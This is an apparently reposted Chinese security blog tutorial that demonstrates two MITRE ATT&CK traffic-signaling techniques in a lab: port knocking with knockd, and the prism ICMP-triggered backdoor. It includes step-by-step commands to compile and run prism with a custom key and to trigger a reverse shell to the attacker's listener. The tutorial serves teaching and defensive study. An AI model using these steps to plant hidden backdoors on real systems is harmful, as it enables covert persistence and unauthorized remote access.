在Mitre Att&ck框架中,T1205技术(Traffic Signaling,流量信号)位于“持久控制”战术中,它有两项子技术,分别是“T1205.001(Port Knocking,端口敲击)”和“T1205.002(Socket Filters,套接字过滤器)”。今天对这两项子技术分别进行介绍。
T1205.001端口敲击(Port Knocking)
(一)官方介绍
https://attack.mitre.org/techniques/T1205/001/
对手可能使用端口敲击来隐藏用于持久化或命令和控制的开放端口。为了启用端口,攻击者会向预定义的关闭端口序列发送一系列连接请求。请求被正确识别后,通常由基于主机的防火墙来打开端口,但也可以由自定义软件实现。人们观察到,这种技术既可以动态打开监听端口,也可以初始化与其它系统所运行监听服务的连接。
可以通过不同的方法来观察触发通信的信号包。一种方法最初由Cd00r实现,是使用libpcap库来嗅探发出请求的数据包。另一种方法利用原始套接字,这使得恶意软件能够使用已经打开供其他程序使用的端口。
(二)使用knockd演示端口敲击技术
1、平台信息
平台类型,操作系统版本,软件,IP地址
客户端(攻击者),manjaro,knock,192.168.242.1
服务端(靶机),kali,knockd,192.168.242.1
2、安装knockd
yay -S extra/knockd
3、服务端操作
(1)拒绝所有入站流量
//执行iptables指令,设置默认拒绝所有入站流量
sudo iptables -P INPUT DROP
此时靶机的ssh服务端口可以连接,但是无法输入口令,因为被iptables阻断。
(2)编写配置文件
vi knockd.conf //加入下面的内容
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 2222:udp,3333:udp,4444:udp
seq_timeout = 15
tcpflags = syn,ack
start_command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -j ACCEPT
cmd_timeout = 30
stop_command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -j ACCEPT
保存退出。
参数含义如下:
sequence //客户端发送的敲击序列
start_command //检测到正确的敲击序列后执行的操作系统命令,这里是添加防火墙规则
cmd_timeout //执行了start_command之后,多长时间执行stop_command
stop_command //这里是删除防火墙规则
(3)运行knockd
knockd -i eth0 -D -v -c knockd.conf
-i:指定网卡
-v:输出状态消息
-D:输出调试消息
-c:指定配置文件
4、客户端操作
(1)敲门
./knock 192.168.242.167 2222:udp 3333:udp 4444:udp -v -d 1000
-d:指定端口敲击序列中每个动作之间的延迟时间,主要是为避免被防火墙当成端口扫描流量而丢弃。
-v:输出详细的状态消息
(2)访问ssh服务
之后客户端可以访问ssh服务,说明服务端触发的start_command指令被成功执行了:
5、查看服务端输出
服务端检测到敲门动作,执行了iptables命令,这样客户端才能完成ssh连接:
一分钟之后,服务端根据配置文件的设置,触发了stop_command:
T1205.002套接字过滤器(Socket Filters)
(一)官方介绍
https://attack.mitre.org/techniques/T1205/002/
对手可能在失陷主机上监视特定网络套接字,以激活用于持久化或C&C的后门。提升权限后,对手可以使用“libpcap”库来打开套接字并安装过滤器,以允许或禁止某些类型的数据通过套接字。为了建立连接,对手会将与目标过滤器相匹配的数据包发送到失陷主机。当失陷主机的网络接口收到与过滤条件匹配的数据包时,即可在主机上触发其他操作,例如执行反弹shell连接。由于套接字连接在收到数据包之前处于不活动状态,各项指标不明显,因此很难被识别。
为了建立连接,攻击者会向目标主机发送一个符合已安装过滤器条件的精心制作的数据包。对手已经使用这些套接字过滤器来触发植入物的安装、进行回拨和调用命令shell。与这些套接字过滤器的通信也可能与协议隧道结合使用。
只要安装了libpcap,过滤器就可以安装在任何类Unix平台上,Windows主机上可以使用 Winpcap。对手可以使用libpcap的pcap_setfilter函数或标准库函数setsockopt的SO_ATTACH_FILTER选项。由于套接字连接在接收到数据包之前并不活跃,因此这种行为可能由于主机上缺乏活动、低CPU占用率以及对原始套接字使用的有限可见性而难以检测。
(二)使用prism演示套接字过滤技术
1、平台信息
平台类型,操作系统版本,软件,IP地址
靶机,kali,prism,192.168.242.167
攻击者,manjaro,prism,192.168.242.1
2、靶机部署prism
(1)下载源码
git clone https://github.com/andreafabrizi/prism
(2)安装依赖软件
sudo apt update
sudo apt-get install gcc-multilib
(3)修改源码
cd prism/
vi prism.c //修改第46行的连接密码,默认是“p4ssw0rd”
# define ICMP_KEY "ei7Doo2w"
保存退出
(4)编译
gcc -DDETACH -m32 -Wall -s -o prism prism.c
生成了可执行文件prism
(5)运行prism
sudo ./prism
运行后没有输出,并且看不到进程,可能是通过修改进程名来隐藏自身。
(6)查看进程
使用pstree可以看到prism改名后的进程
pstree -p | grep prism
进程改名为/bin/sh。
3、攻击者操作
(1)发送icmp请求
//攻击者使用prism包中的脚本发送icmp请求,触发执行反弹连接代码
python2 sendPacket.py 192.168.242.167 ei7Doo2w 192.168.242.1 6666
说明:
192.168.242.167 //靶机IP
ei7Doo2w //连接密码,与prism.c文件中的值一致
192.168.242.1 //攻击者IP
6666 //攻击者使用nc监听的端口
(2)攻击者得到反弹shell
原文始发于微信公众号(新蜂网络安全实验室):Mitre Att&ck框架T1205.001(端口敲击)和T1205.002(套接字过滤)技术的简单实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论